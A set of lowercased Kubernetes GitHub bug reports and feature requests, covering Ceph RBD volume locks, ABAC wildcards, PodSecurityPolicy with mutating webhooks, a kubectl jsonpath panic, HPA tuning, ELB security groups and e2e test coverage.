<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r after upgrading the cluster from 1.6.6 to 1.7.0  kubeadm / baremetal , one of the pods that's using a ceph rbd pvc fails to start with:\r \r    \r mountvolume.setup failed for volume \ pvc-0d85d696-5c38-11e7-b806-525400f18cb3\  : rbd: image kubernetes-dynamic-pvc-0d88324a-5c38-11e7-90a5-525400f18cb3 is locked by other nodes\r error syncing pod\r back-off restarting failed container\r    \r \r upon further inspection, the pod is scheduled on node  kube-minion-2 . here's what rbd thinks about it:\r \r    \r   rbd -p kubernetes lock list kubernetes-dynamic-pvc-0d88324a-5c38-11e7-90a5-525400f18cb3\r there is 1 exclusive lock on this image.\r locker       id                               address\r client.14599 kubelet_lock_magic_kube-minion-2 10.100.2.31:0/1504107565\r    \r \r indeed, the mount is in order:\r \r    \r   mount|grep rbd\r /dev/rbd0 on /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/kubernetes-image-kubernetes-dynamic-pvc-0d88324a-5c38-11e7-90a5-525400f18cb3 type ext4  rw,relatime,stripe=1024,data=ordered \r /dev/rbd0 on /var/lib/kubelet/pods/adb2755e-5e88-11e7-a216-525400f18cb3/volumes/kubernetes.io~rbd/pvc-0d85d696-5c38-11e7-b806-525400f18cb3 type ext4  rw,relatime,stripe=1024,data=ordered \r    \r \r kubelet logs aren't useful and don't provide any details on rbd:\r \r    \r jul 01 19:02:32 kube-minion-2 kubelet 1150 : i0701 19:02:32.010872    1150 kuberuntime_manager.go:457  container {name:mysql image:mariadb:10.2.6 command:   args:   workingdir: ports: {name:mysql hostport:0 containerport:3306 protocol:tcp hostip:}  envfrom:   env: {name:mysql_root_password value: valuefrom:&envvarsource{fieldref:nil,resourcefieldref:nil,configmapkeyref:nil,secretkeyref:&secretkeyselector{localobjectreference:localobjectreference{name:mysql-root,},key:passwd,optional:nil,},}}  resources:{limits:map   requests:map cpu:{i:{value:1 scale:0} d:{dec:<nil>} s:1 format:decimalsi} memory:{i:{value:1073741824 scale:0} d:{dec:<nil>} s:1gi format:binarysi} } volumemounts: {name:mysql-persistent-storage readonly:false mountpath:/var/lib/mysql subpath:} {name:default-token-n4nx7 readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:&probe{handler:handler{exec:&execaction{command: /bin/sh -c mysqladmin ping --password=$mysql_root_password ,},httpget:nil,tcpsocket:nil,},initialdelayseconds:30,timeoutseconds:5,periodseconds:10,successthreshold:1,failurethreshold:3,} readinessprobe:&probe{handler:handler{exec:&execaction{command: /bin/sh -c mysql -h 127.0.0.1 --password=$mysql_root_password -e 'select 1' ,},httpget:nil,tcpsocket:nil,},initialdelayseconds:5,timeoutseconds:1,periodseconds:10,successthreshold:1,failurethreshold:3,} lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:ifnotpresent securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r jul 01 19:02:32 kube-minion-2 kubelet 1150 : e0701 19:02:32.011064    1150 kuberuntime_manager.go:661  error running pod \ mysql-4121438233-ddwq0_default adb2755e-5e88-11e7-a216-525400f18cb3 \  init container \ remove-lost-found\ , restarting: &container.containerstatus{id:container.containerid{type:\ docker\ , id:\ 26d06c3783ca07036d77176376b105678ea13af8d81b694bd6ba98daeec6691b\ }, name:\ remove-lost-found\ , state:\ exited\ , createdat:time.time{sec:63634532468, nsec:230717778, loc:  time.location  0x5861660 }, startedat:time.time{sec:63634532468, nsec:488136482, loc:  time.location  0x5861660 }, finishedat:time.time{sec:63634532468, nsec:532313217, loc:  time.location  0x5861660 }, exitcode:1, image:\ alpine:latest\ , imageid:\ docker-pullable://alpine@sha256:1072e499f3f655a032e88542330cf75b02e7bdf673278f701d7ba61629ee3ebe\ , hash:0x5295f09f, restartcount:16, reason:\ error\ , message:\ \ }\r jul 01 19:02:32 kube-minion-2 kubelet 1150 : i0701 19:02:32.011077    1150 kuberuntime_manager.go:741  checking backoff for container \ remove-lost-found\  in pod \ mysql-4121438233-ddwq0_default adb2755e-5e88-11e7-a216-525400f18cb3 \ \r jul 01 19:02:32 kube-minion-2 kubelet 1150 : i0701 19:02:32.011161    1150 kuberuntime_manager.go:751  back-off 5m0s restarting failed container=remove-lost-found pod=mysql-4121438233-ddwq0_default adb2755e-5e88-11e7-a216-525400f18cb3 \r jul 01 19:02:32 kube-minion-2 kubelet 1150 : e0701 19:02:32.011200    1150 pod_workers.go:182  error syncing pod adb2755e-5e88-11e7-a216-525400f18cb3  \ mysql-4121438233-ddwq0_default adb2755e-5e88-11e7-a216-525400f18cb3 \  , skipping:  failed to \ initcontainer\  for \ remove-lost-found\  with runinitcontainererror: \ init container \\\ remove-lost-found\\\  exited with 1\ \r jul 01 19:02:32 kube-minion-2 kubelet 1150 : , failed to \ startcontainer\  for \ remove-lost-found\  with crashloopbackoff: \ back-off 5m0s restarting failed container=remove-lost-found pod=mysql-4121438233-ddwq0_default adb2755e-5e88-11e7-a216-525400f18cb3 \ \r jul 01 19:02:32 kube-minion-2 kubelet 1150 :  \r    \r \r the pod is defined as:\r    yaml\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: mysql\r spec:\r   replicas: 1\r   strategy: {type: recreate}\r   template:\r     metadata:\r       labels: {app: mysql}\r     spec:\r       initcontainers:\r       - name: remove-lost-found\r         image: alpine:latest\r         command:  'sh', '-c', 'test -e /var/lib/mysql/lost+found && rmdir /var/lib/mysql/lost+found' \r         volumemounts:  {name: mysql-persistent-storage, mountpath: /var/lib/mysql} \r       containers:\r       - image: mariadb:10.2.6\r         name: mysql\r         env:\r         - name: mysql_root_password\r           valuefrom: {secretkeyref: {name: mysql-root, key: passwd}}\r         ports:  {containerport: 3306, name: mysql} \r         volumemounts:  {name: mysql-persistent-storage, mountpath: /var/lib/mysql} \r         resources: {requests: {cpu: 1, memory: 1gi}}\r         livenessprobe:\r           exec: {command:  \ /bin/sh\ , \ -c\ , \ mysqladmin ping --password=$mysql_root_password\  }\r           initialdelayseconds: 30\r           timeoutseconds: 5\r         readinessprobe:\r           exec: {command:  \ /bin/sh\ , \ -c\ , \ mysql -h 127.0.0.1 --password=$mysql_root_password -e 'select 1'\  }\r           initialdelayseconds: 5\r           timeoutseconds: 1\r       volumes:\r       - name: mysql-persistent-storage\r         persistentvolumeclaim:\r           claimname: mysql-data\r ---\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: mysql-data\r spec:\r   accessmodes:  readwriteonce \r   resources:\r     requests: {storage: 5gi}\r   storageclassname: ceph\r ---\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: ceph\r provisioner: kubernetes.io/rbd\r parameters:\r   ...\r    \r \r   what you expected to happen  :\r \r the pod should start as usual.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r n/a\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t20:46:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  : bare metal / kvm\r - os  e.g. from /etc/os-release : ubuntu 16.10\r - kernel  e.g.  uname -a  : 4.8.0-58-generic\r - install tools: kubeadm 1.7\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r abac does not respect a wildcard in the serviceaccount. e.g. if i want _all_ service accounts in  kube-system  namespace to have full access to everything:\r \r    json\r {\ apiversion\ : \ abac.authorization.kubernetes.io/v1beta1\ , \ kind\ : \ policy\ , \ spec\ : {\ user\ : \ system:serviceaccount:kube-system: \ , \ namespace\ :\  \ , \ resource\ :\  \ , \ apigroup\ :\  \ , \ nonresourcepath\ : \  \ }}\r    \r \r no service accounts have access now.\r \r   what you expected to happen  :\r all serviceaccounts in  kube-system  would have full access.\r \r   how to reproduce it  as minimally and precisely as possible   :\r as above.\r \r   anything else we need to know?  :\r nope.\r \r it is possible that i misunderstood the docs and that wildcards are not allowed there  which would be a pain, but survivable .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.7.5\r \r - cloud provider or hardware configuration  :\r aws\r \r

is this a bug report or feature request?  : \r  \r   what happened  : if a configmap/secret is referenced by one pod on a node  which is a very common case , whenever the pod is updated for whatever fields that is not related to configmap/secret, the configmap/secret cache will be cleared, regardless what \ node.alpha.kubernetes.io/ttl\  is configured.\r \r another thing is the secret package and configmap package inside kubelet are line-to-line identical.\r \r   what you expected to happen  : the ttl should still be honored. \r \r   how to reproduce it  as minimally and precisely as possible   : as described above. \r \r

 \r     what happened:\r \r i have a cluster in which i run a custom mutatingwebhookcontroller that injects sidecar containers. this was working fine. when i created deployments, the pods that were created had the sidecar containers. after i enabled the podsecuritypolicy admission controller and applied this podsecuritypolicy, i was unable to create deployments in namespaces my custom controller acted on.\r \r   is this the expected behavior? if so, are there docs that would help me understand this?  \r \r my psp\r \r    yaml\r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: backend-service\r spec:\r   privileged: false\r   allowprivilegeescalation: false\r   hostipc: false\r   hostnetwork: false\r   hostpid: false\r   allowedhostpaths:\r   - pathprefix: \ /dev/null\ \r   selinux:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   runasuser:\r     rule: runasany\r   fsgroup:\r     rule: runasany\r   volumes:\r   - ' '\r ---\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrole\r metadata:\r   name: backend-service\r rules:\r - apigroups:\r   - extensions\r   resources:\r   - podsecuritypolicies\r   resourcenames:\r   - backend-service\r   verbs:\r   - use\r ---\r   allow all authenticated users to use this psp\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrolebinding\r metadata:\r   name: backend-service\r roleref:\r   kind: clusterrole\r   name: backend-service\r   apigroup: rbac.authorization.k8s.io\r subjects:\r - kind: group\r   apigroup: rbac.authorization.k8s.io\r   name: authenticated\r    \r \r     what you expected to happen:\r \r i expected the pods to be able to match the backend-service psp above.\r \r     how to reproduce it  as minimally and precisely as possible :\r \r here's my custom controller's mutatingwebhookconfiguration.\r \r    yaml\r apiversion: admissionregistration.k8s.io/v1beta1\r kind: mutatingwebhookconfiguration\r metadata:\r   name: my-controller\r webhooks:\r - name: podpreset.admission.mycompany.com\r   namespaceselector:\r     matchlabels:\r       my-controller: \ enabled\ \r   failurepolicy: \ fail\ \r   rules:\r   - apigroups:\r     - \ \ \r     apiversions:\r     - v1\r     operations:\r     - create\r     resources:\r     - pods\r   clientconfig:\r     service:\r       name: my-controller\r       namespace: my-system-namespace\r       path: /v1beta1/mutate\r     cabundle: $cabundle\r    \r \r here's the sidecar container it injects to every pod.\r \r    yaml\r         image: \ gcr.io/my-project/sidecar:fa268611-20180110t102551\ \r         name: \ sidecar\ \r         resources:\r             limits:\r                 cpu: \ 500m\ \r                 memory: \ 512m\ \r             requests:\r                 cpu: \ 250m\ \r                 memory: \ 256m\ \r    \r \r here's an example deployment that fails with error message was  pods \ dxia-nginx-85d4d97665-x6dqw\  is forbidden: unable to validate against any pod security policy:   . \r \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   labels:\r     app: nginx\r   name: dxia-nginx\r   namespace: the-who\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - image: nginx\r         name: nginx2\r         resources:\r           limits:\r             cpu: \ 1\ \r             memory: 2g\r           requests:\r             cpu: \ 1\ \r             memory: 2g\r    \r \r when i applied the above deployment to a namespace that my-controller didn't act on, i noticed the resulting pod resource had  spec.containers.securitycontext.allowprivilegeescalation: false    full pod\r yaml here  gist1  .\r \r then i edited the configmap of my-controller to explicitly have  allowprivilegeescalation: false  for the sidecar container it injected. the same pod that failed before was able to run   full pod yaml  gist2  .\r \r i'm not sure why the injected containers need  spec.containers.securitycontext.allowprivilegeescalation: false  explicitly. the  docs  securitycontext-docs  don't say what the default allowprivilegeescalation setting is if omitted.\r \r    gist1 : https://gist.github.com/davidxia/0851facbeaddd91370bb019c759c2ec5 file-gistfile1-txt\r    gist2 : https://gist.github.com/davidxia/0851facbeaddd91370bb019c759c2ec5 file-gistfile2-txt\r    securitycontext-docs : https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/ securitycontext-v1-core\r \r     anything else we need to know?:\r \r a theory of what's happening:\r \r the podsecuritypolicyplugin implements both the  mutationinterface  https://github.com/kubernetes/apiserver/blob/97f7e8b3e9485f43fdaaf07dc3790559170325b0/pkg/admission/interfaces.go l78  and  validationinterface  https://github.com/kubernetes/apiserver/blob/97f7e8b3e9485f43fdaaf07dc3790559170325b0/pkg/admission/interfaces.go l86 . \r \r the plugin will mutate the pod and the containers within that pod to set the default  securitycontext  https://github.com/kubernetes/kubernetes/blob/f73101066ac9a92a97c18bc05c9f017d68e04115/pkg/security/podsecuritypolicy/provider.go l171 . if my-controller runs after the podsecuritypolicyplugin the containers injected by my-controller will not have a default securitycontext set.\r \r what ends up happening is that the validation will fail as our unset securitycontext will not match any podsecuritypolicy. validation happens after mutation  i believe that is true for plugins as well as webhooks :\r ! image  https://user-images.githubusercontent.com/480621/42173081-e9464d52-7deb-11e8-9404-e1236dfe70fc.png \r  source  https://kubernetes.io/blog/2018/01/extensible-admission-is-beta/ .\r \r     environment:\r - kubernetes version  use  kubectl version  :\r \r    \r client version:version.info{\r   major:\ 1\ ,\r   minor:\ 9\ ,\r   gitversion:\ v1.9.7\ ,\r   gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ ,\r   gittreestate:\ clean\ ,\r   builddate:\ 2018-04-19t00:05:56z\ ,\r   goversion:\ go1.9.3\ ,\r   compiler:\ gc\ ,\r   platform:\ darwin/amd64\ \r }server version:version.info{\r   major:\ 1\ ,\r   minor:\ 10+\ ,\r   gitversion:\ v1.10.4-gke.2\ ,\r   gitcommit:\ eb2e43842aaa21d6f0bb65d6adf5a84bbdc62eaf\ ,\r   gittreestate:\ clean\ ,\r   builddate:\ 2018-06-15t21:48:39z\ ,\r   goversion:\ go1.9.3b4\ ,\r   compiler:\ gc\ ,\r   platform:\ linux/amd64\ \r }\r    \r \r - cloud provider or hardware configuration:\r gke\r \r - os  e.g. from /etc/os-release :\r  google cos  https://cloud.google.com/container-optimized-os/docs/ \r \r - kernel  e.g.  uname -a  :\r linux gke-testing-europe-west-default-pool2-1ced2d7f-p4rs 4.14.22+  1 smp wed may 30 13:49:27 pdt 2018 x86_64 intel r  xeon r  cpu @ 2.60ghz genuineintel gnu/linux

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  : the test binary is not found when running e2e.go / kubetest / ginkgo-e2e.sh\r \r   what you expected to happen  : the binary should be found\r \r   how to reproduce it  as minimally and precisely as possible   :  bazel build //cmd/kubectl //test/e2e:e2e.test //vendor/github.com/onsi/ginkgo/ginkgo  then run the e2e's\r \r \r   anything else we need to know?  :\r this happens because ginkgo-e2e.sh looks for binaries with  kube::util::find-binary  which looks for binaries in paths that include the platform. e2e.test is not built into such a location. we don't see this failure in ci because we build a release tarball then extract it, which places _everything_ into a path with platform in it.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   /assign @ixdy

the following users have direct read access to kubernetes/kubernetes:\r @alexandercampbell\r @blakebarnett\r @chrisglass\r @davidz627\r @dbalexandre\r @dnardo\r @droot\r @fasaxc\r @font\r @gaughen\r @josvazg\r @juanvallejo\r @ktsakalozos\r @mikespreitzer\r @oddbloke\r @oomichi\r @paulczar\r @philroche\r @pmichali\r @prateek\r @rcj4747\r @robertojrojas\r @seans3\r @svanharmelen\r @tgraf\r \r i will be looking at removing this access on tuesday november 20, 2018 after 12:00 pst.\r \r for those that are members of the @kubernetes org, nothing will change. this direct access is redundant, as you still have the ability to be assigned issues.\r \r for those that are not members of the @kubernetes org, you will no longer be able to be assigned issues in this repo. you will still be able to comment on issues, open prs, and access the kubernetes code base  as the general public can . the only difference is the ability to be assigned issues.\r \r the proper way to attain this access, is by becoming a member of the @kubernetes org, as outlined in the membership procedure here: https://git.k8s.io/community/community-membership.md member\r \r please comment here with any questions or concerns!\r \r cc: @kubernetes/sig-contributor-experience-misc-use-only-as-a-last-resort @kubernetes/owners

in our env. we are using heketi/gluster dynamic provisioning for persistent volumes.\r our cluster is used by many application teams in dev as well as production.  we are noticing endpoints related pvc are disappearing once in while. it's not impacting all endpoints only few once in a while. once the endpoint is missing if pod any chance restart having trouble mounting the pvc and failing. any help and pointers are appreciated. thank you.\r \r here is the example of service object and corresponding endpoint. \r \r   what happened  : glusterfs pvc endpoints are disappearing randomly\r \r   what you expected to happen  : it shouldn't delete endpoint\r \r   how to reproduce it  as minimally and precisely as possible   : it's happening very randomly and not able to reproduce\r \r   anything else we need to know?  :  as per my debugging from logs, it's happening after helm  delete and install .  this reinstall doesn't include pvc delete request. application comes fine and endpoint exist that moment.  after couple of days, noticed api server is sending multiple delete requests to delete pvc.  \r \r here is sample for servie, endpoint and pvc\r \r kubectl -n com-att-app-dev describe svc glusterfs-dynamic-mariadb-pvc\r \r name:              glusterfs-dynamic-mariadb-pvc\r namespace:         com-att-app-dev\r labels:            gluster.kubernetes.io/provisioned-for-pvc=mariadb-pvc\r annotations:       <none>\r selector:          <none>\r type:              clusterip\r ip:                10.233.38.133\r port:              <unset>  1/tcp\r targetport:        1/tcp\r endpoints:         xxx.xxx.xxx.xxx:1 + 17 more...\r session affinity:  none\r \r \r \r  kubectl  describe endpoints glusterfs-dynamic-mariadb-pvc\r name:         glusterfs-dynamic-mariadb-pvc\r namespace:    com-att-app-dev\r labels:       gluster.kubernetes.io/provisioned-for-pvc=mariadb-pvc\r annotations:  <none>\r subsets:\r   addresses:          11.11.11.11\r   notreadyaddresses:  <none>\r   ports:\r     name     port  protocol\r     ----     ----  --------\r     <unset>  1     tcp\r \r events:  <none>\r \r \r  kubectl -n com-att-app-dev describe pvc mariadb-pvc\r name:          mariadb-pvc\r namespace:     com-att-app-dev\r storageclass:  gluster-heketi-no-replica\r status:        bound\r volume:        pvc-1056b286-d246-11e8-9a84-02b76f316b40\r labels:        app=app-mariadb\r annotations:   pv.kubernetes.io/bind-completed=yes\r                pv.kubernetes.io/bound-by-controller=yes\r                volume.beta.kubernetes.io/storage-class=gluster-heketi-no-replica\r                volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/glusterfs\r finalizers:      \r capacity:      6g\r access modes:  rwx\r events:        <none>\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.2\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu 16.04 \r - kernel  e.g.  uname -a  : linux 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: \r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r while using output format custom columns, i used array index -1 which caused the following panic:\r \r    \r panic: reflect.value.slice: slice index out of bounds\r \r goroutine 1  running :\r reflect.value.slice 0x1465900, 0xc4205b0da0, 0x97, 0x4, 0x0, 0x97, 0x240e900, 0x0 \r \t/usr/lib64/go/src/reflect/value.go:1597 +0x28d\r k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath.  jsonpath .evalarray 0xc420492770, 0xc4205b1280, 0x1, 0x1, 0xc420964780, 0xc4205b1280, 0x1, 0x1, 0x0, 0x0 \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath/jsonpath.go:273 +0x43e\r k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath.  jsonpath .walk 0xc420492770, 0xc4205b1280, 0x1, 0x1, 0x189e120, 0xc420964780, 0xc4205b1280, 0x1, 0x1, 0x0, ... \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath/jsonpath.go:148 +0x79f\r k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath.  jsonpath .evallist 0xc420492770, 0xc4205b1220, 0x1, 0x1, 0xc4205b1120, 0xc42085b300, 0x0, 0x0, 0x0, 0xc42085b318 \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath/jsonpath.go:202 +0xbb\r k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath.  jsonpath .walk 0xc420492770, 0xc4205b1220, 0x1, 0x1, 0x189e2e0, 0xc4205b1120, 0x0, 0x0, 0xc42085b408, 0x40fc89, ... \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath/jsonpath.go:142 +0x8ae\r k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath.  jsonpath .findresults 0xc420492770, 0x1541ae0, 0xc4207ca150, 0x18b8420, 0xc420796010, 0x1, 0x10000000046b16c, 0xc42085b4b0 \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath/jsonpath.go:89 +0x1d4\r k8s.io/kubernetes/pkg/printers.  customcolumnsprinter .printoneobject 0xc4200e5140, 0x189d220, 0xc420796010, 0xc420796038, 0x1, 0x1, 0x1893a00, 0xc42074e600, 0xc42085b708, 0x1269b7d \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/pkg/printers/customcolumn.go:221 +0x585\r k8s.io/kubernetes/pkg/printers.  customcolumnsprinter .printobj 0xc4200e5140, 0x189d220, 0xc420796010, 0x1893a00, 0xc42074e600, 0x0, 0x0 \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/pkg/printers/customcolumn.go:196 +0x740\r k8s.io/kubernetes/pkg/printers. resourceprinter .printobj-fm 0x189d220, 0xc420796010, 0x18937e0, 0xc4200c0008, 0xc420796010, 0xc420016701 \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:252 +0x57\r k8s.io/kubernetes/pkg/printers.resourceprinterfunc.printobj 0xc4205b10a0, 0x189d220, 0xc420796010, 0x18937e0, 0xc4200c0008, 0x0, 0xc4208a77e8 \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/pkg/printers/interface.go:38 +0x4e\r k8s.io/kubernetes/pkg/kubectl/cmd/get.  getoptions .printgeneric 0xc4208dc1c0, 0xc420621680, 0x1, 0x1 \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:725 +0xc26\r k8s.io/kubernetes/pkg/kubectl/cmd/get.  getoptions .run 0xc4208dc1c0, 0x18c6dc0, 0xc420547560, 0xc4208fb180, 0xc4203ef020, 0x2, 0x6, 0x0, 0x0 \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:343 +0x13cd\r k8s.io/kubernetes/pkg/kubectl/cmd/get.newcmdget.func1 0xc4208fb180, 0xc4203ef020, 0x2, 0x6 \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:159 +0x115\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4208fb180, 0xc4203eeae0, 0x6, 0x6, 0xc4208fb180, 0xc4203eeae0 \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:760 +0x2c1\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc4200fef00, 0xc4205f4060, 0x12a05f200, 0xc4208a7ee8 \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:846 +0x30a\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4200fef00, 0x17ea8b0, 0x23f0060 \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:794 +0x2b\r main.main  \r \t/builddir/build/build/kubectl-1.11.1-1/_output/local/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:50 +0x196\r    \r \r   what you expected to happen  :\r it should return the last element of the array, just like index -2 returns second to last element from the array.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  $ kubectl get pod <pod_name> -o custom-columns=container:.spec.containers -1 .name \r \r   environment  :\r - kubernetes version: v1.11.6\r - kubectl version: v1.11.1

for some applications the hpa is too sensitive. this is due to  the design  https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/ :\r \r > for per-pod resource metrics  like cpu , the controller fetches the metrics from the resource metrics api for each pod...the controller then takes the mean of the utilization or the raw value  depending on the type of target specified  across all targeted pods, and produces a ratio used to scale the number of desired replicas.\r \r for many applications this causes too much scaling activity. for example:\r \r - spiky workloads that vary a lot in the short term\r - java applications that are slow to start and use max cpu during startup\r \r it would be great if we could simply specify an evaluation period of time over which the metric values are averaged. or a set number of the controller manager’s hpa sync periods over which to average.\r \r it needs to be configurable in the  horizontalpodautoscaler  resource as many users are using k8s-as-a-service  gke, eks, aks etc . maybe something like this with a new  targetevaluationperiodseconds  attribute:\r \r    yaml\r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   name: app1\r spec:\r   scaletargetref:\r     kind: deployment\r     apiversion: extensions/v1beta1\r     name: app1\r   minreplicas: 2\r   maxreplicas: 20\r   targetcpuutilizationpercentage: 45\r   targetevaluationperiodseconds: 600\r    \r \r related issues:\r https://github.com/kubernetes/kubernetes/issues/41159\r https://github.com/kubernetes/kubernetes/issues/39090 issuecomment-466398426

for example:      yaml livenessprobe:       httpget:         path: /healthz         port: 8080         username: user         password: pass       initialdelayseconds: 15       timeoutseconds: 1

hello,  i have been looking into ways to specify an existing security group for the elb to use, but have found that is not possible. i examined the api  https://github.com/kubernetes/kubernetes/blob/37b5726716231c13117c4b05a841e00417b92cda/pkg/cloudprovider/providers/aws/aws.go  and i see that a new security group is created when the elb is created in ensureloadbalancer. aws cli has a flag for specifying security group upon creation:    create-load-balancer --load-balancer-name <value> --listeners <value>  --security-groups <value>   it would be very nice to have this functionality, as we will be dynamically creating elbs as needed, and we do not want to have to go in and change the security group associated with the elb every time it is created.

fyi. i am playing with init containers, found this when do apply failed:       tony@localhost kubernetes $ kubectl apply -f ~/desktop/yaml/test_k8s/pod.yaml proto: no encoder for typemeta unversioned.typemeta  getproperties  proto: tag has too few fields: \ -\  proto: no coders for struct  reflect.rtype proto: no encoder for sec int64  getproperties  proto: no encoder for nsec int32  getproperties  proto: no encoder for loc  time.location  getproperties  proto: no encoder for time time.time  getproperties  proto: no encoder for i resource.int64amount  getproperties  proto: no encoder for d resource.infdecamount  getproperties  proto: no encoder for s string  getproperties  proto: no encoder for format resource.format  getproperties  proto: no encoder for initcontainers   v1.container  getproperties  proto: no coders for intstr.type proto: no encoder for type intstr.type  getproperties  proto: no encoder for initcontainerstatuses   v1.containerstatus  getproperties  the pod \ nginx\  is invalid. spec: forbidden: pod updates may not change fields other than  containers   .image  or  spec.activedeadlineseconds

it would be really cool if kubernetes can have blue/green deployments built-in in addition to the rolling updates currently available.  this would allow for the ability to atomically update an app without the risk of clients connecting to the app seeing different versions.

today, node e2e tests different os image  ubuntu, coreos, gci, debian  and two docker versions: docker 1.10, docker 1.11.2, but we are missing the coverage docker 1.12.x. in the matrix.\r \r meanwhile kubernetes docker automated validation pipeline is validating the docker release / release candidate through an \ golden\  kubernetes releases, not the current developing one and the different configurations. for example, there is no test coverage for cri and docker 1.12.x.\r \r here is the rough plan: adding a 1.12 node image in our node e2e test image list, so that all node e2e tests can run against it. \r \r cc/ @sig-node-misc@ @random-liu @yujuhong

